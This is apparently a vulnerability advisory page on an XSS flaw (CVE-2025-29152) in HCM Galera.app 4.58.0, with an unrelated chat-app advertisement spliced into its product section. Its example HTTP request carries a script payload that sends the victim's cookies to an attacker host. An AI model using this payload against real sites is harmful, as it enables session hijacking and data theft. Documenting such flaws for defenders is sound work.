Overview
The cross-site scripting (XSS) vulnerability identified as CVE-2025-29152 in the Lemeconsultoria HCM Galera.app version 4.58.0 allows an attacker to compromise the system or leak data. This vulnerability is critical due to its wide reach, affecting multiple components of the application and, consequently, the organizations that use this software.
Vulnerability Summary
CVE ID: CVE-2025-29152
Severity: High (CVSS: 7.6)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Lemeconsultoria HCM Galera.app | v.4.58.0
How the Exploit Works
The XSS vulnerability occurs when the application does not properly validate input on the mentioned components. This flaw allows an attacker to inject malicious scripts, which are then executed in the browser of any user viewing the manipulated page. The attacker can hijack user sessions, deface websites, or redirect the user to malicious sites.
Conceptual Example Code
Here’s a conceptual example of how this vulnerability might be exploited:
POST /vulnerable/component HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"userInput": "<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>"
}In this example, the attacker sends a POST request with a payload containing malicious JavaScript. If the application processes this input and returns it in a web page without proper sanitization, the script executes in the user’s browser, sending their cookies to the attacker’s server.
Mitigation
To mitigate this vulnerability, it is advised to apply the latest patch provided by the vendor as soon as possible. If the patch cannot be applied immediately, a temporary solution would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block malicious payloads. Furthermore, it’s good practice to sanitize all user inputs and outputs in the application to prevent such vulnerabilities.
